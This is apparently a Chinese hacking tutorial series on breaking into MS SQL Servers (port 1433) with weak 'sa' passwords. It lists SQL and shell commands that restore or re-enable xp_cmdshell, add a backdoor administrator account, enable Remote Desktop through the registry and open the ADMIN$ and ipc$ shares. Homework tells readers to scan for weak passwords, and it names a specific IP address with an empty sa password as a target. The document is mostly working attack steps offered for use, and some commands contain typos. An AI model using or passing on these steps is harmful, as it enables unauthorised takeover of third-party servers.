1433手工入侵系列教程
- 格式：doc
- 大小：35.50 KB
- 文档页数：6
1433手工入侵系列教程
第二课：修复Error Message:未能找到存储过程
'master..xp_cmdshell'。错误
环境：本机xp 服务器2003
工具：
1.弱口令扫描器
2.sql连接器
3.Sql查询分析器
4.服务器一台
要完成的任务：修复错误
Error Message:未能找到存储过程 'master..xp_cmdshell'。
修复方法：xp_cmdshell新的恢复办法
第一步先删除：
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
第二步恢复：
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
直接恢复，不管sp_addextendedproc是不是存在
课程总结：
作业：自己扫描1433弱口令。尝试一下
实例：124.130.109.251 sa ""
要完成的任务：修复错误
拒绝访问
修复方法：
Net1
Dir net.exe /s /p
第五课：修复Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程
'sys.xp_cmdshell' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用
'xp_cmdshell' 的详细信息，请参阅 SQL Server 联机丛书中的 "外围应用配置器"。错误
修复方法：
;EXEC sp_configure 'show advanced options', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'xp_cmdshell', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'show advanced options', 0 --
第六课修复错误
Error Message:无法装载 DLL xpweb70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。) 修复方法：
第一步
exec sp_dropextendedproc 'xp_cmdshell'
第二步
dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft
SQL Server\MSSQL\Binn\xplog70.dll")
;EXEC sp_configure 'show advanced options', 0 --
第七课要完成的任务：修复错误
Error Message:无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)。
修复方法：
第一步
exec sp_dropextendedproc 'xp_cmdshell'
第二步
dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft
SQL Server\MSSQL\Binn\xplog70.dll")
;EXEC sp_configure 'show advanced options', 0 --
1433手工入侵系列教程
第八课：开启3389终端
开3389： 提权用户名net user admin% 123 /add 破解用户：netlocalg roup administators admin% /add
Cmd 命令
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal"
"Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
Sql命令
开3389
exec
master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal
Server','fDenyTSConnections','REG_DWORD',0;--
关3389：
exec
master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal
Server','fDenyTSConnections','REG_DWORD',1;
135抓鸡命令
抓鸡环境
NT LM SECURITY SUPPORT PROVIDER
REMOTE PROCEDURE CALL(RPC) LOCATOR
TCP/IP NETBIOS HELPER
server
打开CMD
查看本机共享
net share
开启ADMIN$和ipc$
net share ADMIN$
net share ipc$
【华中红客基地】
我们打开SQLTOOLS输入我们要提权的弱口令，点连接
Error Message:未能找到存储过程 'master..xp_cmdshell'。
修复法：很通用的，其实碰到 其他126 127的都可以一起修复，
除了xplog70.dll其他的都可以用这命令修复
xp_cmdshell新的恢复办法
第一步先删除：
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
第二步恢复：
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 直接恢复，不管sp_addextendedproc是不是存在
修复好了以后 我们就开始添加帐号和密码
net user 帐号 密码 /add
net localgroup administrators 帐号 /add
显示添加成功 接下来我们连接端口 进入服务器
好了到这里我们这台服务器就拿下了
